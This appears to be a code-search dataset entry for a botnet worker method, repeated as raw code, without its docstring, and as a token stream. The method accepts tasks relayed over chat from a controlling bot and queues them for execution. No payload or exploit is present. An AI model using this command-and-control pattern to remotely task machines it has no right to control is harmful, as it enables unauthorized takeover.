botnet/worker.py
def worker_execute(self, nick, message, channel, task_id, command, workers=None):
        """\
        Work on a task from the BotnetBot
        """
        if workers:
            nicks = workers.split(',')
            do_task = self.conn.nick in nicks
        else:
            do_task = True
        
        if do_task:
            self.task_queue.put((int(task_id), command))
            return '!task-received %s' % task_id
def worker_execute(self, nick, message, channel, task_id, command, workers=None):
        if workers:
            nicks = workers.split(',')
            do_task = self.conn.nick in nicks
        else:
            do_task = True
        
        if do_task:
            self.task_queue.put((int(task_id), command))
            return '!task-received %s' % task_id
def worker_execute ( self , nick , message , channel , task_id , command , workers = None ) : if workers : nicks = workers . split ( ',' ) do_task = self . conn . nick in nicks else : do_task = True if do_task : self . task_queue . put ( ( int ( task_id ) , command ) ) return '!task-received %s' % task_id
\
        Work on a task from the BotnetBot
\ Work on a task from the BotnetBot